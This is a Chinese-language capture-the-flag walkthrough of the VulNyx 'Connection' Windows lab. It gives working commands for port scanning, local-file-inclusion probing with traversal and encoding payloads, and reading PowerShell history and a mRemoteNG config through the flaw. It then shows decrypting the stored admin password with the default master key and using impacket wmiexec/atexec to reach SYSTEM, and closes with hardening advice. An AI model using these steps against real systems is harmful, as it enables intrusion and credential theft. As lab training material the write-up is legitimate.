VulNyx Connection:LFI 与 mRemoteNG 解密
靶机链接:Connection
本文记录 VulNyx Connection 靶机完整通关复现过程。核心突破口位于 Web 侧 page.php 的严格字符串白名单 LFI,通过 Windows 敏感路径字典命中控制台历史并定位 confCons.xml,利用默认主密码解出管理员凭据后立足系统,最终借助任务计划服务(atexec)提权至 NT AUTHORITY\SYSTEM 取得双 Flag。
0x01 基本信息与攻击流程
| 名称 | IP / 标识 | 说明 |
|---|---|---|
| Kali Linux | 192.168.1.109 | 攻击机 |
| Connection | 192.168.1.186 (Connection.lan) | Windows Server 2019 Build 17763 靶机(XAMPP 8.2.12 + Everest 静态站) |
靶机于 2026-09-16 重置后完成全链复测,文件大小、解密结果与初测一致。
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 80/tcp Apache 2.4.58、445/tcp SMB、5985/tcp WinRM 等开放端口 | Web 为入口,SMB/WMI 为后续实测通道;WinRM 为候选通道 |
| Web 测绘 | "Everest" 模板站,主要文件读取入口 page.php?section= | 发现可疑 include 型路由参数 |
| 白名单判定 | 未命中的相对路径、大小写变体及已测试穿越载荷返回 403/0B | 实测呈现区分大小写的白名单特征,转向枚举预设绝对路径字面量 |
| LFI 成立 | ctf-toolkit 字典命中 hosts (824B) 与 PowerShell 历史 (199B) | 验证白名单内敏感文件读取可行,并取得软件安装线索 |
| 凭据定位 | 沿线索新增候选路径,读取 confCons.xml (3382B) | 获取 mRemoteNG 保存的远程连接加密凭据 |
| 口令解密 | 默认主密码 mR3m + AES-256-GCM (AAD=salt) | 成功还原明文口令 TheConnectionPassword123 |
| 凭据复用 | SMB/WMI 登录 administrator 成功 | 本地管理员立足 |
| 特权提升 | atexec 创建特权计划任务 | 从 Administrator 执行上下文切换至 nt authority\system |
| 最终成果 | 读取管理员桌面 user.txt 与 root.txt | 取得两枚 Flag,完成通关 |
点击展开详细流程图 (Mermaid)
0x02 端口扫描与服务识别
1. 端口扫描
rustscan -a 192.168.1.186 --range 1-65535 --ulimit 5000 -- -sV -sC -Pn -oN rustscan_nmap.txt
nmap -Pn -sT -sV --unprivileged -p 53,80,135,139,445,5985,47001,49664-49670 192.168.1.186
开放端口清单:
| 端口 | 服务 | 版本 / 关键信息 |
|---|---|---|
| 53/tcp | domain | Unbound 风格解析器,对 Connection.lan 权威 |
| 80/tcp | http | Apache httpd 2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 |
| 135/tcp | msrpc | Microsoft Windows RPC |
| 139/tcp | netbios-ssn | Microsoft Windows NetBIOS-SSN |
| 445/tcp | microsoft-ds | signing enabled but not required,SMBv1 已禁用 |
| 5985/tcp | wsman | WinRM(Microsoft HTTPAPI/2.0) |
| 47001/tcp | http | http.sys 空预留端点 |
| 49664-49670/tcp | msrpc | RPC 动态端口(系统标准服务) |
2. 主机指纹
nxc smb 192.168.1.186
# SMB 192.168.1.186 445 CONNECTION [*] Windows 10 / Server 2019 Build 17763 x64
# (name:CONNECTION) (domain:Connection) (signing:False) (SMBv1:None)
初步判断:
- 已测试的 SMB 空会话、guest 与 RPC 匿名调用均受限,本轮未从这些入口取得突破;
- 突破点集中在 80 端口的 XAMPP Web 应用;
- 发现 WinRM 服务;SMB 未强制签名。后续实际验证了 SMB 认证与 WMI 命令执行。
0x03 Web 测绘与白名单判定
1. 站点指纹
curl -s http://192.168.1.186/ | head -20
curl -s -I http://192.168.1.186/
HTTP/1.1 200 OK
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 19988
<title>Everest</title>
站点为 "Everest" 企业模板静态站,本轮在根目录发现两个 PHP 脚本:
contact.php:模板自带的邮件发送脚本(直接访问会报错泄露物理绝对路径C:\xampp\htdocs);page.php:导航栏所有链接均指向page.php?section=xxx.html,表明其承担 include 路由功能。
2. 参数探测
curl -s --get --data-urlencode 'section=about.html' -w '%{http_code} %{size_download}\n' http://192.168.1.186/page.php
# 200 16951
curl -s --get --data-urlencode 'section=nope.html' -w '%{http_code} %{size_download}\n' http://192.168.1.186/page.php
# 403 0
合法页面返回与静态文件完全一致的内容;不存在的文件返回 403 且响应体为空。若不带参数访问,PHP 报错提示第 3 行存在未定义数组键 section。
3. 白名单判定
本轮测试的常见路径与编码变体如下:
| 载荷类别 | 示例 | 结果 |
|---|---|---|
| 目录穿越 | ../../windows/win.ini、..\..\windows\win.ini | 403/0B |
| URL 编码 | ..%2f、%2e%2e%2f、..%5c、双重编码 | 403/0B |
| 伪协议 | php://filter/...、file:///、data:// | 403/0B |
| 截断 / 追加 | about.html%00、about.html/.、about.html%20 | 403/0B |
| 大小写变体 | ABOUT.HTML(静态文件 /ABOUT.HTML 为 200) | 403/0B |
| 子串 / 前缀 | xxabout.html、/about.html、./about.html | 403/0B |
- 实测现象:不含任何
..的合法相对路径(如nope.html)与目录穿越载荷同样返回403/0B;且 Windows 文件系统虽大小写不敏感,但传参section=ABOUT.HTML同样返回 403(直接访问静态/ABOUT.HTML正常返回 200)。 - 实现推断:上述差分表现证明服务端并非仅依靠过滤
..的黑名单正则,而是具备严格区分大小写的白名单校验特征(推断后端可能通过全等比对===、严格模式数组查找in_array(..., true)或哈希映射实现)。在尚未获取源码前无法直接断定具体语法操作符;本轮测试的路径穿越与编码变体均未命中,因此优先枚举白名单内候选路径。
4. 字典枚举策略
由于相对路径受限,测试转向 Windows 敏感绝对路径清单。采用 ctf-toolkit 的 payloads/lfi/lfi-windows.txt(包含系统文件、IIS、用户数据、XAMPP 配置等 27 条有效路径),按“字典基准测试 → 追踪命中线索”两步推进。
0x04 白名单 LFI 与凭据获取
1. 字典基准探测
使用配套脚本 lfi_wordlist_bench.py 对字典条目进行差分探测:
python3 lfi_wordlist_bench.py 'http://192.168.1.186/page.php?section=' \
/usr/share/ctf-toolkit/payloads/lfi/lfi-windows.txt
=== lfi-windows.txt (全量 27) ===
[200] C:\Windows\System32\drivers\etc\hosts 824 B
[200] C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt 199 B
-> 200 命中 2 / 探测 27;耗时 0.2s
hosts(824 B)验证了绝对路径 LFI 成立;ConsoleHost_history.txt(199 B)成功命中管理员的控制台命令历史,提供了关键凭据线索。
2. 凭据线索追踪
直接读取控制台命令历史:
curl -s --get --data-urlencode \
'section=C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt' \
http://192.168.1.186/page.php
whoami
ipconfig
cd C:\Users\Administrator\Desktop\
msiexec.exe /i ".\mRemoteNG-Installer-1.76.20.24615.msi"
Remove-Item ".\mRemoteNG-Installer-1.76.20.24615.msi" -Force
Restart-Computer -Force
管理员曾安装 mRemoteNG 1.76.20,删除安装包并重启了服务器。mRemoteNG 默认将连接配置存放在 %APPDATA%\mRemoteNG\confCons.xml。顺着该线索构造绝对路径并进行读取:
curl -s --get --data-urlencode \
'section=C:\Users\Administrator\AppData\Roaming\mRemoteNG\confCons.xml' \
http://192.168.1.186/page.php -o confCons.xml
# HTTP 200,3382 字节
成功拉取完整的 mRemoteNG 连接配置文件,获取到加密的远程凭据。
0x05 mRemoteNG 凭据解密
1. 数据结构分析
confCons.xml 声明了 FullFileEncryption="false",XML 结构及连接元数据可直接读取,Password、Protected 属性值仍为加密数据。以下为关键字段摘录:
<mrng:Connections xmlns:mrng="http://mremoteng.org" EncryptionEngine="AES"
BlockCipherMode="GCM" KdfIterations="1000" FullFileEncryption="false"
Protected="8+5imhIdYe45P+0M7ZrbhQfqU59LAvYx8D0d9foESM8StKPKRijjw4nYCuRohN9jYo4Nwi6btLdfGudBN9vVt3o+"
ConfVersion="2.6">
<Node Name="administrator" Descr="WinRM" Username="administrator" Domain="connection.nyx"
Hostname="10.10.10.8" Protocol="IntApp" Port="5985" UseCredSsp="true"
Password="RUQ0nzfeIV11g9eDodO74bdInTIu3LE0OAn3P+tWkNKEoAJWViqGx1us4kMsy4JmmY37UlrxPREoaYlTT+JY4YCnTlogYypQ"/>
</mrng:Connections>
节点明确指向目标 10.10.10.8:5985(WinRM),用户为 connection.nyx\administrator。文件头指明了算法细节:AES-256-GCM、迭代 1000 次。
2. 解密参数与 AAD
Base64 解码后的密文字节布局如下:
| 项目 | 取值 |
|---|---|
| 密文布局 | salt(16) ‖ nonce(16) ‖ ciphertext(N) ‖ tag(16)(本例 Password 为 24 B,Protected 为 18 B) |
| 密钥派生 | PBKDF2-HMAC-SHA1(master, salt, 1000, dklen=32) |
| 认证参数 | salt 必须作为 AAD(附加身份验证数据)参与 GCM 认证 |
| 主密码 | 官方默认值 mR3m |
解密时若未将 salt 作为 AAD 传入,GCM 会因 Tag 校验失败抛出异常(本例附件使用的 PyCryptodome 抛出 ValueError: MAC check failed,cryptography 库抛出 InvalidTag),其报错形式与“主密码错误”相同,极易误判。
3. 主密码验证
文件中的 Protected 属性为加密哑值,若解出 ThisIsNotProtected 即代表使用了默认主密码 mR3m。
运行解密脚本 mremoteng_decrypt.py(Python 3,依赖 pycryptodome;建议在虚拟环境中安装):
python3 mremoteng_decrypt.py -f confCons.xml
[root Protected] -> ThisIsNotProtected
[administrator] [email protected] host=10.10.10.8 password=TheConnectionPassword123
成功还原管理员口令:TheConnectionPassword123。
0x06 凭据复用与特权提升
1. SMB 凭据复用
虽然配置保存的是 10.10.10.8,但目标主机名即为 CONNECTION,测试该口令在当前靶机上的复用情况:
python3 - <<'PY'
from impacket.smbconnection import SMBConnection
c = SMBConnection('192.168.1.186','192.168.1.186',timeout=25)
c.login('administrator','TheConnectionPassword123','')
print("共享列表:", [s['shi1_netname'].rstrip('\x00') for s in c.listShares()])
PY
# 共享列表: ['ADMIN$', 'C$', 'IPC$']
口令验证成功,成功以管理员身份通过 SMB 认证并枚举到 ADMIN$、C$ 与 IPC$ 等默认管理共享,证实凭据复用有效。
2. WMI 命令执行
impacket-wmiexec administrator:'TheConnectionPassword123'@192.168.1.186 "whoami"
# connection\administrator
取得本地管理员命令执行权限。
3. atexec 提升 SYSTEM
在已取得本地管理员凭据的基础上,利用任务计划接口以 SYSTEM 身份执行命令;此步骤展示管理员到 SYSTEM 的执行上下文切换,并非独立的低权限提权漏洞:
impacket-atexec administrator:'TheConnectionPassword123'@192.168.1.186 whoami
# nt authority\system
0x07 成果验证与 Flag
1. User Flag
- 路径:
C:\Users\Administrator\Desktop\user.txt - 内容:
b9119ed110ad3219000910942d111af1
2. Root Flag
- 路径:
C:\Users\Administrator\Desktop\root.txt - 内容:
6b74258c9e58df62317ed9ae6521637f
impacket-wmiexec administrator:'TheConnectionPassword123'@192.168.1.186 \
"type C:\Users\Administrator\Desktop\user.txt"
impacket-wmiexec administrator:'TheConnectionPassword123'@192.168.1.186 \
"type C:\Users\Administrator\Desktop\root.txt"
0x08 漏洞汇总与防御建议
1. 确认漏洞清单
| 漏洞项 | 影响位置 | 危险评级 |
|---|---|---|
| 白名单内敏感文件读取 (LFI) | page.php | Critical |
| 运维凭据与本地 Administrator 复用 | 运维配置 → SMB/WMI | Critical |
| 运维工具使用默认主密码 | mRemoteNG 配置 | High |
| 控制台历史泄露敏感安装痕迹 | PowerShell 历史 | Medium |
以上为结合本靶机利用链影响给出的定性评级,非正式 CVSS 评分。
2. 待验证配置风险
- Web 服务默认高权限运行(待验证风险):Windows 环境下 XAMPP 默认安装的 Apache 服务常以
LocalSystem身份运行。本次渗透测试通过 SMB 与 WMI 在操作系统层实现控制并利用计划任务提权,未直接探测或劫持 Apache 进程运行身份。该项作为潜在高危配置风险列出,建议运维人员核验并落实服务降权。
3. 核心加固建议
- 白名单坚持静态映射:仅接受预定义页面标识,通过固定映射(如
['about' => 'about.html'])取得服务端文件路径,拒绝未知标识,不将用户输入直接拼接为文件路径。 - 强制设定强主密码:远程连接管理工具(mRemoteNG、FileZilla 等)禁止使用默认主密码,配置与凭据文件需严格管控访问权限。
- 切断跨主机口令复用:保存的远程主机口令严禁与本地 Administrator 口令相同,防止凭据泄露导致本机失守;推荐采用 LAPS 实现主机单机口令动态随机化。
- 控制台历史日志清理:针对生产运维环境配置命令历史生命周期策略,避免敏感安装包名称或维护命令长期驻留磁盘。
- 降权 Web 运行身份:为 Apache 配置独立低权限服务账户,仅授予必要的目录访问权限,并核验实际进程身份,避免以 SYSTEM 等特权身份运行。
0x09 附件下载
- mremoteng_decrypt.py:mRemoteNG
confCons.xml口令解密脚本。从文件头自适应解析KdfIterations/BlockCipherMode/FullFileEncryption,支持 AES-256-GCM 模式(默认主密码mR3m)与旧版 CBC 格式,包含Protected哑值验证与退出码机制。- 运行依赖:Python 3,在虚拟环境中执行
python3 -m pip install pycryptodome - 运行示例:
python3 mremoteng_decrypt.py -f confCons.xml
- 运行依赖:Python 3,在虚拟环境中执行
- lfi_wordlist_bench.py:Windows LFI 敏感路径字典评测脚本。对包含参数执行差分测试,统计白名单字面量命中情况。
- 运行依赖:Python 3(仅使用标准库
urllib.request,无需第三方依赖) - 运行示例:
python3 lfi_wordlist_bench.py 'http://192.168.1.186/page.php?section=' /path/to/wordlist.txt
- 运行依赖:Python 3(仅使用标准库
0x04 节实际使用的 LFI 探测字典为 ctf-toolkit 的 payloads/lfi/lfi-windows.txt,GitHub 地址:cchopin/ctf-toolkit · payloads/lfi/lfi-windows.txt。